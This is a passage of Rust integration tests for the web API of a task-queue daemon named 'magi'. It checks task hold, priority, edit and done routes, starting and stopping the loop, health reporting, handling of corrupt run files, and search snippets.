10084 let queue = f.queue();
10085 let mut task = Task::new(
10086 "busy".to_owned(),
10087 "Running right now".to_owned(),
10088 PathBuf::from("/repo/magi"),
10089 Source::Human,
10090 );
10091 queue.put(&mut task).expect("file the task");
10092 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10093
10094 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10095
10096 assert_eq!(res.status, 409);
10097 assert_eq!(
10098 queue.get(&task.id).expect("reload").status,
10099 TaskStatus::Queued,
10100 "the refused hold changed nothing"
10101 );
10102 }
10103
10104 #[tokio::test]
10105 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10106 let f = Fixture::start().await;
10107 let queue = f.queue();
10108 let mut task = Task::new(
10109 "waiting on the migration".to_owned(),
10110 "Do the thing".to_owned(),
10111 PathBuf::from("/repo/magi"),
10112 Source::Human,
10113 );
10114 queue.put(&mut task).expect("file the task");
10115
10116 let held = f
10117 .post(
10118 &format!("/api/queue/{}/hold", task.id),
10119 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10120 )
10121 .await;
10122 assert_eq!(held.status, 200, "{}", held.body);
10123 assert_eq!(held.json()["status_str"], "held");
10124 assert_eq!(
10125 held.json()["hold_reason"],
10126 "waiting for 20260101-000000-aaaa to land"
10127 );
10128
10129 let listed = f.get("/api/queue").await.json();
10130 assert_eq!(
10131 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10132 "the card reads the reason off the same list route"
10133 );
10134
10135 let mut plain = Task::new(
10138 "no reason given".to_owned(),
10139 "Do another thing".to_owned(),
10140 PathBuf::from("/repo/magi"),
10141 Source::Human,
10142 );
10143 queue.put(&mut plain).expect("file the task");
10144 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10145 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10146 assert!(held_plain.json()["hold_reason"].is_null());
10147
10148 let released = f
10149 .post(&format!("/api/queue/{}/release", task.id), None)
10150 .await;
10151 assert_eq!(released.status, 200);
10152 assert!(
10153 released.json()["hold_reason"].is_null(),
10154 "a release must clear the reason so the next hold does not inherit it"
10155 );
10156 }
10157
10158 #[tokio::test]
10159 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10160 let f = Fixture::start().await;
10161 let queue = f.queue();
10162 let mut older = Task::new(
10163 "filed first".to_owned(),
10164 "x".to_owned(),
10165 PathBuf::from("/repo/magi"),
10166 Source::Human,
10167 );
10168 older.id = "20260101-000001-aaaa".to_owned();
10169 let mut newer = Task::new(
10170 "filed second".to_owned(),
10171 "x".to_owned(),
10172 PathBuf::from("/repo/magi"),
10173 Source::Human,
10174 );
10175 newer.id = "20260101-000002-bbbb".to_owned();
10176 queue.put(&mut older).expect("file older");
10177 queue.put(&mut newer).expect("file newer");
10178
10179 let before = f.get("/api/queue").await.json();
10182 assert_eq!(before[0]["id"], newer.id);
10183 assert_eq!(before[1]["id"], older.id);
10184
10185 let raised = f
10189 .post(
10190 &format!("/api/queue/{}/priority", older.id),
10191 Some(r#"{"priority":10}"#),
10192 )
10193 .await;
10194 assert_eq!(raised.status, 200, "{}", raised.body);
10195 assert_eq!(raised.json()["priority"], 10);
10196
10197 let after = f.get("/api/queue").await.json();
10198 let names: Vec<&str> = after
10199 .as_array()
10200 .unwrap()
10201 .iter()
10202 .map(|t| t["id"].as_str().unwrap())
10203 .collect();
10204 assert_eq!(names[0], older.id, "the raised task now sorts first");
10208 }
10209
10210 #[tokio::test]
10211 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10212 let f = Fixture::start().await;
10213 let queue = f.queue();
10214 let mut task = Task::new(
10215 "in flight".to_owned(),
10216 "x".to_owned(),
10217 PathBuf::from("/repo/magi"),
10218 Source::Human,
10219 );
10220 task.start("20260902-140502-bbbb".to_owned());
10221 queue.put(&mut task).expect("file the task");
10222
10223 let res = f
10224 .post(
10225 &format!("/api/queue/{}/priority", task.id),
10226 Some(r#"{"priority":9}"#),
10227 )
10228 .await;
10229 assert_eq!(res.status, 400, "{}", res.body);
10230 assert!(
10231 res.json()["error"]
10232 .as_str()
10233 .is_some_and(|e| e.contains("running")),
10234 "{}",
10235 res.body
10236 );
10237 assert_eq!(
10238 queue.get(&task.id).expect("reload").priority,
10239 0,
10240 "the refused write must not partially apply"
10241 );
10242 }
10243
10244 #[tokio::test]
10245 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
10246 let f = Fixture::start().await;
10247 let queue = f.queue();
10248 let mut task = Task::new(
10249 "old title".to_owned(),
10250 "old instruction".to_owned(),
10251 PathBuf::from("/repo/magi"),
10252 Source::Agent {
10253 run: "20260101-000000-beef".to_owned(),
10254 node: "implement".to_owned(),
10255 },
10256 );
10257 task.runs.push("20260101-000000-beef".to_owned());
10258 queue.put(&mut task).expect("file the task");
10259 let created_at = task.created_at;
10260
10261 let edited = f
10262 .post(
10263 &format!("/api/queue/{}/edit", task.id),
10264 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10265 )
10266 .await;
10267 assert_eq!(edited.status, 200, "{}", edited.body);
10268 let body = edited.json();
10269 assert_eq!(body["title"], "new title");
10270 assert_eq!(body["instruction"], "new instruction");
10271 assert_eq!(body["id"], task.id, "editing must not mint a new id");
10272 assert_eq!(body["created_at"], created_at.to_string());
10273 assert_eq!(
10274 body["source"]["kind"], "agent",
10275 "editing a task an agent filed must not turn it human: {body}"
10276 );
10277 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10278
10279 let reloaded = queue.get(&task.id).expect("reload");
10280 assert_eq!(reloaded.title, "new title");
10281 assert_eq!(reloaded.instruction, "new instruction");
10282 }
10283
10284 #[tokio::test]
10285 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10286 let tmp = TempDir::new().expect("tempdir");
10289 let repo = tmp.path().join("repo");
10290 std::fs::create_dir_all(&repo).expect("repo dir");
10291 let judge = MOCK_AGENT_TOML.replace(
10292 "printf ok",
10293 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
10294 );
10295 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
10296 let f = Fixture::with_repo(repo.clone()).await;
10297 let queue = f.queue();
10298 let mut owner = Task::new(
10299 "owner".to_owned(),
10300 "review it".to_owned(),
10301 repo.clone(),
10302 Source::Human,
10303 );
10304 owner.review_branch = Some("magi/ab12/A".to_owned());
10305 queue.put(&mut owner).expect("file the owner");
10306 let mut task = Task::new(
10307 "draft".to_owned(),
10308 "old".to_owned(),
10309 repo.clone(),
10310 Source::Human,
10311 );
10312 queue.put(&mut task).expect("file the draft");
10313 let url = format!("/api/queue/{}/edit", task.id);
10314
10315 let refused = f
10316 .post(
10317 &url,
10318 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
10319 )
10320 .await;
10321 assert_eq!(refused.status, 409, "{}", refused.body);
10322 let msg = refused.json()["error"]
10323 .as_str()
10324 .unwrap_or_default()
10325 .to_owned();
10326 assert!(
10327 msg.contains("magi/ab12/A") && msg.contains("force"),
10328 "{msg}"
10329 );
10330 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
10331
10332 let forced = f
10333 .post(
10334 &url,
10335 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
10336 )
10337 .await;
10338 assert_eq!(forced.status, 200, "{}", forced.body);
10339 }
10340
10341 #[tokio::test]
10342 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
10343 let f = Fixture::start().await;
10344 let queue = f.queue();
10345 let mut task = Task::new(
10346 "in flight".to_owned(),
10347 "do not touch".to_owned(),
10348 PathBuf::from("/repo/magi"),
10349 Source::Human,
10350 );
10351 task.start("20260902-140502-bbbb".to_owned());
10352 queue.put(&mut task).expect("file the task");
10353
10354 let res = f
10355 .post(
10356 &format!("/api/queue/{}/edit", task.id),
10357 Some(r#"{"title":"x","instruction":"y"}"#),
10358 )
10359 .await;
10360 assert_eq!(res.status, 400, "{}", res.body);
10361 assert!(
10362 res.json()["error"]
10363 .as_str()
10364 .is_some_and(|e| e.contains("running")),
10365 "{}",
10366 res.body
10367 );
10368 assert_eq!(
10369 queue.get(&task.id).expect("reload").instruction,
10370 "do not touch",
10371 "the refused edit must not change the file"
10372 );
10373 }
10374
10375 #[tokio::test]
10376 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10377 let f = Fixture::start().await;
10378 let queue = f.queue();
10379 let mut task = Task::new(
10380 "busy".to_owned(),
10381 "Running right now".to_owned(),
10382 PathBuf::from("/repo/magi"),
10383 Source::Human,
10384 );
10385 queue.put(&mut task).expect("file the task");
10386 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10387
10388 let priority = f
10389 .post(
10390 &format!("/api/queue/{}/priority", task.id),
10391 Some(r#"{"priority":9}"#),
10392 )
10393 .await;
10394 assert_eq!(priority.status, 409, "{}", priority.body);
10395
10396 let edit = f
10397 .post(
10398 &format!("/api/queue/{}/edit", task.id),
10399 Some(r#"{"title":"x","instruction":"y"}"#),
10400 )
10401 .await;
10402 assert_eq!(edit.status, 409, "{}", edit.body);
10403 }
10404
10405 #[tokio::test]
10406 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10407 let f = Fixture::start().await;
10408 let queue = f.queue();
10409 let mut task = Task::new(
10410 "shipped by hand".to_owned(),
10411 "merged outside the loop".to_owned(),
10412 PathBuf::from("/repo/magi"),
10413 Source::Agent {
10414 run: "20260101-000000-b455".to_owned(),
10415 node: "implement".to_owned(),
10416 },
10417 );
10418 task.runs.push("20260101-000000-b455".to_owned());
10419 task.runs.push("20260101-000000-9af4".to_owned());
10420 queue.put(&mut task).expect("file the task");
10421 let created_at = task.created_at;
10422
10423 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10424 assert_eq!(done.status, 200, "{}", done.body);
10425 assert_eq!(done.json()["status_str"], "done");
10426
10427 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10428 assert_eq!(
10429 reloaded.runs,
10430 ["20260101-000000-b455", "20260101-000000-9af4"]
10431 );
10432 assert_eq!(
10433 reloaded.source,
10434 Source::Agent {
10435 run: "20260101-000000-b455".to_owned(),
10436 node: "implement".to_owned(),
10437 }
10438 );
10439 assert_eq!(reloaded.created_at, created_at);
10440 }
10441
10442 #[tokio::test]
10443 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10444 let f = Fixture::start().await;
10449 let queue = f.queue();
10450 let mut task = Task::new(
10451 "landed while held".to_owned(),
10452 "x".to_owned(),
10453 PathBuf::from("/repo/magi"),
10454 Source::Human,
10455 );
10456 task.hold_manual(Some("waiting on 3ed9".to_owned()));
10457 queue.put(&mut task).expect("file the held task");
10458
10459 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10460 assert_eq!(done.status, 200, "{}", done.body);
10461 assert_eq!(done.json()["status_str"], "done");
10462 assert!(
10463 done.json()["hold_reason"].is_null(),
10464 "a done task cannot still be waiting on something: {}",
10465 done.body
10466 );
10467 }
10468
10469 #[tokio::test]
10470 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10471 let f = Fixture::start().await;
10476 let queue = f.queue();
10477 let runs = f.runs();
10478 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10479 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10483
10484 let mut task = Task::new(
10485 "landed by hand".to_owned(),
10486 "x".to_owned(),
10487 PathBuf::from("/repo/magi"),
10488 Source::Human,
10489 );
10490 task.runs.push("20260101-000000-doa1".to_owned());
10491 task.runs.push("20260101-000000-doa2".to_owned());
10492 queue.put(&mut task).expect("file the task");
10493
10494 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10495 assert_eq!(done.status, 200, "{}", done.body);
10496
10497 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10498 .expect("run still on disk under this fixture's own home");
10499 assert_eq!(
10500 reloaded_run.status,
10501 RunStatus::Superseded,
10502 "closing the task by hand must relabel the earlier blocked attempt exactly \
10503 like the loop's own settle path does"
10504 );
10505 }
10506
10507 #[tokio::test]
10508 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10509 let f = Fixture::start().await;
10514 let queue = f.queue();
10515 let runs = f.runs();
10516 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10517 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10518
10519 let mut task = Task::new(
10520 "closed with nothing actually landed".to_owned(),
10521 "x".to_owned(),
10522 PathBuf::from("/repo/magi"),
10523 Source::Human,
10524 );
10525 task.runs.push("20260101-000000-dob1".to_owned());
10526 task.runs.push("20260101-000000-dob2".to_owned());
10527 queue.put(&mut task).expect("file the task");
10528
10529 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10530 assert_eq!(done.status, 200, "{}", done.body);
10531
10532 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10533 .expect("run still on disk under this fixture's own home");
10534 assert_eq!(
10535 reloaded_run.status,
10536 RunStatus::Blocked,
10537 "the last recorded attempt never landed, so the earlier one must not be \
10538 relabelled as superseded by it"
10539 );
10540 }
10541
10542 #[tokio::test]
10543 async fn unknown_ids_are_json_not_found_on_both_stores() {
10544 let f = Fixture::start().await;
10545
10546 let run = f.get("/api/runs/nosuchrun").await;
10547 let task = f.post("/api/queue/nosuchtask/hold", None).await;
10548
10549 assert_eq!(run.status, 404);
10550 assert_eq!(task.status, 404);
10551 assert!(
10552 run.json()["error"]
10553 .as_str()
10554 .is_some_and(|e| e.contains("run")),
10555 "the error names what was not found: {}",
10556 run.body
10557 );
10558 assert!(
10559 task.json()["error"]
10560 .as_str()
10561 .is_some_and(|e| e.contains("task")),
10562 "the error names what was not found: {}",
10563 task.body
10564 );
10565 }
10566
10567 #[tokio::test]
10568 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10569 let f = Fixture::start().await;
10570
10571 let missing = f.get("/api/health").await.json();
10572 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10573
10574 write_daemon(
10575 f.home.path(),
10576 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10577 );
10578 let stale = f.get("/api/health").await.json();
10579 assert_eq!(
10580 stale["daemon"]["running"], false,
10581 "a minute without a heartbeat is a dead daemon, not a busy one"
10582 );
10583 assert!(
10584 stale["daemon"]["stale_for_secs"]
10585 .as_i64()
10586 .is_some_and(|s| s >= 55),
10587 "staleness is reported so the UI can say how long: {stale}"
10588 );
10589
10590 write_daemon(f.home.path(), Timestamp::now());
10591 let fresh = f.get("/api/health").await.json();
10592 assert_eq!(fresh["daemon"]["running"], true);
10593 assert_eq!(fresh["daemon"]["idle"], false);
10594 assert_eq!(fresh["daemon"]["pid"], 4242);
10595 assert_eq!(fresh["daemon"]["completed"], 7);
10596 assert_eq!(
10597 fresh["daemon"]["current"][0]["task"],
10598 "20260902-140501-aaaa"
10599 );
10600 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10601 }
10602
10603 #[tokio::test]
10604 async fn the_loop_is_not_running_until_something_starts_it() {
10605 let f = Fixture::start().await;
10606
10607 let view = f.get("/api/loop").await.json();
10608 assert_eq!(view["running"], false);
10609 assert_eq!(
10610 view["owned"], false,
10611 "nobody owns a loop that does not exist: {view}"
10612 );
10613 assert_eq!(view["stopping"], false);
10614 assert_eq!(view["last_error"], Value::Null);
10615 assert_eq!(view["daemon"]["running"], false);
10616 assert_eq!(
10617 view["repo"], "/repo/magi",
10618 "the repository a start would use, named before it is started"
10619 );
10620 }
10621
10622 #[tokio::test]
10623 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10624 let f = Fixture::start().await;
10625
10626 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10627 assert_eq!(res.status, 200, "{}", res.body);
10628 let view = res.json();
10629 assert_eq!(view["running"], true);
10630 assert_eq!(
10631 view["owned"], true,
10632 "the loop the UI started is the UI's own to stop: {view}"
10633 );
10634 assert_eq!(
10635 view["merge"],
10636 Value::Null,
10637 "no override was given, so each repository's own config decides"
10638 );
10639
10640 let health = f.get("/api/health").await.json();
10644 assert_eq!(health["loop"]["running"], true, "{health}");
10645 assert_eq!(health["loop"]["owned"], true, "{health}");
10646
10647 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10648 }
10649
10650 #[tokio::test]
10651 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10652 let f = Fixture::start().await;
10653 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10654 assert_eq!(first.status, 200, "{}", first.body);
10655
10656 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10657 assert_eq!(
10658 again.status, 409,
10659 "two loops on one queue race for the same claims: {}",
10660 again.body
10661 );
10662 assert!(
10663 again.json()["error"]
10664 .as_str()
10665 .is_some_and(|e| e.contains("already running the loop")),
10666 "the refusal has to say why: {}",
10667 again.body
10668 );
10669 assert_eq!(
10670 f.get("/api/loop").await.json()["running"],
10671 true,
10672 "and the loop that was already running is untouched by it"
10673 );
10674
10675 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10676 }
10677
10678 #[tokio::test]
10679 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10680 let f = Fixture::start().await;
10681 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10682
10683 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10684 assert_eq!(
10685 res.status, 200,
10686 "the answer must not wait for the loop: a run in flight is tens of \
10687 minutes and the operator is holding a phone: {}",
10688 res.body
10689 );
10690
10691 let view = settled(&f, |v| v["running"] == false).await;
10692 assert_eq!(view["owned"], false);
10693 assert_eq!(
10694 view["stopping"], false,
10695 "a loop that has stopped is not still stopping: {view}"
10696 );
10697 assert_eq!(
10698 view["last_error"],
10699 Value::Null,
10700 "a loop that was asked to stop did not fail: {view}"
10701 );
10702
10703 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10706 assert_eq!(twice.status, 200, "{}", twice.body);
10707 }
10708
10709 #[tokio::test]
10710 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10711 let f = Fixture::start().await;
10712 write_daemon(f.home.path(), Timestamp::now());
10715
10716 let view = f.get("/api/loop").await.json();
10717 assert_eq!(view["running"], false, "not in this process: {view}");
10718 assert_eq!(view["owned"], false, "and not this process's to control");
10719 assert_eq!(
10720 view["daemon"]["running"], true,
10721 "but a loop is alive somewhere, which is what the UI must say"
10722 );
10723 assert_eq!(view["daemon"]["pid"], 4242);
10724
10725 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10726 let res = f.post("/api/loop", Some(body)).await;
10727 assert_eq!(
10728 res.status, 409,
10729 "neither button may pretend to work on someone else's loop: {}",
10730 res.body
10731 );
10732 assert!(
10733 res.json()["error"]
10734 .as_str()
10735 .is_some_and(|e| e.contains("4242")),
10736 "the refusal has to name the process the operator must go to: {}",
10737 res.body
10738 );
10739 }
10740 assert_eq!(
10741 f.get("/api/loop").await.json()["running"],
10742 false,
10743 "and the refusal started nothing"
10744 );
10745 }
10746
10747 #[tokio::test]
10748 async fn a_stale_status_file_is_not_a_foreign_owner() {
10749 let f = Fixture::start().await;
10750 write_daemon(
10751 f.home.path(),
10752 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10753 );
10754
10755 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10756 assert_eq!(
10757 res.status, 200,
10758 "a daemon killed a minute ago must not lock the loop out of its \
10759 own home for good: {}",
10760 res.body
10761 );
10762 assert_eq!(res.json()["running"], true);
10763
10764 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10765 }
10766
10767 #[tokio::test]
10768 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10769 let f = Fixture::start().await;
10770 let before = f.get("/api/health").await.json()["loop_rev"]
10771 .as_u64()
10772 .expect("a loop revision");
10773
10774 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10775
10776 let after = f.get("/api/health").await.json()["loop_rev"]
10777 .as_u64()
10778 .expect("a loop revision");
10779 assert!(
10780 after > before,
10781 "the loop is in-process state, so this counter is the only thing \
10782 that tells a second device the first one started it: {before} -> \
10783 {after}"
10784 );
10785
10786 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10787 }
10788
10789 #[tokio::test]
10790 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10791 let f = Fixture::with_loop(launch_broken).await;
10792
10793 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10794 assert_eq!(
10795 res.status, 200,
10796 "starting it is not the failure: {}",
10797 res.body
10798 );
10799
10800 let view = settled(&f, |v| v["last_error"].is_string()).await;
10801 assert_eq!(
10802 view["running"], false,
10803 "a loop that died must not read as running, or the operator has \
10804 nothing to press: {view}"
10805 );
10806 assert_eq!(view["owned"], false);
10807 assert!(
10808 view["last_error"]
10809 .as_str()
10810 .is_some_and(|e| e.contains("read-only file system")),
10811 "the phone is where a loop that died at 3am is visible: {view}"
10812 );
10813
10814 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10817 assert_eq!(again.status, 200, "{}", again.body);
10818 assert_eq!(
10819 again.json()["last_error"],
10820 Value::Null,
10821 "a fresh start does not keep showing why the last one died"
10822 );
10823 }
10824
10825 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10837 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10838 let home = TempDir::new().expect("temp home");
10839 let runs = home.path().join("runs");
10840 std::fs::create_dir_all(&runs).expect("runs dir");
10841 let ui = Ui::new(
10842 Queue::at(home.path().join("queue")),
10843 Questions::at(home.path().join("questions")),
10844 Talks::at(home.path().join("talks")),
10845 runs,
10846 home.path().to_path_buf(),
10847 PathBuf::from("/repo/magi"),
10848 )
10849 .with_worktrees_root(home.path().join("wt"))
10850 .with_launch(launch_knocking_on_the_way_out);
10851 let looping = ui.looping();
10852 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10853 .await
10854 .expect("bind loopback");
10855 let addr = listener.local_addr().expect("local addr");
10856 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10857 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10858
10859 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10860 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10861
10862 let bound = std::sync::Mutex::new(None);
10877 hand_over(home.path(), &looping, served, |_| {
10878 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
10879 let attempt = loop {
10880 match std::net::TcpListener::bind(addr) {
10881 Ok(l) => {
10882 drop(l);
10883 break Ok(());
10884 }
10885 Err(e)
10886 if e.kind() == std::io::ErrorKind::AddrInUse
10887 && std::time::Instant::now() < deadline =>
10888 {
10889 std::thread::sleep(std::time::Duration::from_millis(10));
10890 }
10891 Err(e) => break Err(e.to_string()),
10892 }
10893 };
10894 *bound.lock().expect("bound") = Some(attempt);
10895 Ok(1)
10896 })
10897 .await
10898 .expect("hand over");
10899
10900 assert_eq!(
10901 *PARK_HEARD.lock().expect("park heard"),
10902 Some(200),
10903 "the deck must answer while the loop is parking"
10904 );
10905 let attempt = bound
10906 .lock()
10907 .expect("bound")
10908 .take()
10909 .expect("the successor was started");
10910 assert!(
10911 attempt.is_ok(),
10912 "and the address must be free by the time it is: {attempt:?}"
10913 );
10914 }
10915
10916 #[tokio::test]
10917 async fn a_newer_daemon_status_file_still_renders() {
10918 let f = Fixture::start().await;
10919 std::fs::write(
10922 f.home.path().join("daemon.json"),
10923 serde_json::json!({
10924 "schema": 2,
10925 "updated_at": Timestamp::now().to_string(),
10926 "idle": true,
10927 "surprise": { "nested": [1, 2, 3] },
10928 })
10929 .to_string(),
10930 )
10931 .expect("write daemon.json");
10932
10933 let health = f.get("/api/health").await;
10934
10935 assert_eq!(health.status, 200);
10936 assert_eq!(health.json()["daemon"]["running"], true);
10937 }
10938
10939 #[tokio::test]
10940 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10941 let f = Fixture::start().await;
10942 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10943 let broken = f.runs().join("20260902-140502-bad");
10944 std::fs::create_dir_all(&broken).expect("run dir");
10945 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10946
10947 let list = f.get("/api/runs").await;
10948 let detail = f.get("/api/runs/20260902-140502-bad").await;
10949
10950 assert_eq!(list.status, 200);
10951 let listed = list.json();
10952 let ids: Vec<&str> = listed
10953 .as_array()
10954 .expect("an array")
10955 .iter()
10956 .map(|r| r["id"].as_str().expect("an id"))
10957 .collect();
10958 assert_eq!(
10959 ids,
10960 vec!["20260902-140501-good"],
10961 "one unreadable run must not cost the operator the whole history"
10962 );
10963 assert_eq!(detail.status, 500);
10964 assert!(
10965 detail.json()["error"]
10966 .as_str()
10967 .is_some_and(|e| e.contains("run.json")),
10968 "the failure names the file to look at: {}",
10969 detail.body
10970 );
10971 let health = f.get("/api/health").await;
10975 assert_eq!(health.json()["runs_unreadable"], 1);
10976 }
10977
10978 #[tokio::test]
10980 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10981 let f = Fixture::start().await;
10982 let runs = f.runs();
10983 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10984 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10985 let path = runs.join("20260902-140502-bbbb").join("run.json");
10988 let mut v: serde_json::Value =
10989 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10990 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10991 std::fs::write(&path, v.to_string()).unwrap();
10992 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10993 std::fs::write(
10994 runs.join("20260902-140503-cccc").join("run.json"),
10995 "{ not json",
10996 )
10997 .unwrap();
10998
10999 let res = f.get("/api/search?scope=runs&q=quokka").await;
11000 assert_eq!(res.status, 200, "{}", res.body);
11001 let v = res.json();
11002 assert_eq!(v["total"], 1, "{v}");
11003 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11004 assert_eq!(v["hits"][0]["field"], "text");
11005 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11006 let parts = v["hits"][0]["snippet"].as_array().unwrap();
11007 assert!(
11008 parts
11009 .iter()
11010 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11011 "{v}"
11012 );
11013 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11014 assert_eq!(
11015 flat, "The Quokka leaks across threads",
11016 "whitespace is collapsed"
11017 );
11018
11019 let both = f
11021 .get("/api/search?scope=runs&q=MOBILE%20quokka")
11022 .await
11023 .json();
11024 assert_eq!(both["total"], 1, "{both}");
11025 let neither = f
11026 .get("/api/search?scope=runs&q=quokka%20zebra")
11027 .await
11028 .json();
11029 assert_eq!(neither["total"], 0, "{neither}");
11030 let stmt = f
11032 .get("/api/search?scope=runs&q=mobile%20first")
11033 .await
11034 .json();
11035 assert_eq!(stmt["total"], 2, "{stmt}");
11036 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11037 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11038 }
11039
11040 #[test]
11041 fn snippet_ignores_terms_longer_than_the_field() {
11042 let terms = ["ok".to_owned(), "elephant".to_owned()];
11043 let parts = snippet_of("ok", &terms);
11044 assert_eq!(
11045 parts,
11046 vec![SnippetPart {
11047 text: "ok".to_owned(),
11048 hit: true
11049 }]
11050 );
11051 }
11052
11053 #[test]
11054 fn snippet_marks_matches_longer_than_the_window() {
11055 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11056 let hit_len = |parts: &[SnippetPart]| -> usize {
11057 parts
11058 .iter()
11059 .filter(|p| p.hit)
11060 .map(|p| p.text.chars().count())
11061 .sum()
11062 };
11063 let total =
11064 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11065
11066 let long = "a".repeat(120);
11067 let parts = snippet_of(&long, std::slice::from_ref(&long));
11068 assert!(hit_len(&parts) > 0, "{parts:?}");
11069 assert!(total(&parts) <= cap);
11070
11071 let ja = "あ".repeat(130);
11072 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11073 assert!(hit_len(&parts) > 0, "{parts:?}");
11074 assert!(total(&parts) <= cap);
11075
11076 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11078 let term = format!("ab{}", "c".repeat(100));
11079 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11080 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11081 assert!(total(&parts) <= cap);
11082
11083 let text = format!("{}z", "a".repeat(119));
11085 let parts = snippet_of(&text, &["a".repeat(120)]);
11086 assert_eq!(hit_len(&parts), 0, "{parts:?}");
11087 }
11088
11089 #[tokio::test]
11090 async fn search_caps_hits_and_snippet_length() {
11091 let f = Fixture::start().await;
11092 let runs = f.runs();
11093 for n in 0..(SEARCH_MAX_HITS + 5) {
11094 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11095 }
11096 let v = f.get("/api/search?scope=runs&q=web").await.json();
11097 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11098 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11099 assert_eq!(v["truncated"], true);
11100 assert!(
11102 v["hits"]
11103 .as_array()
11104 .unwrap()
11105 .iter()
11106 .all(|h| h["run"]["status"] == "merged")
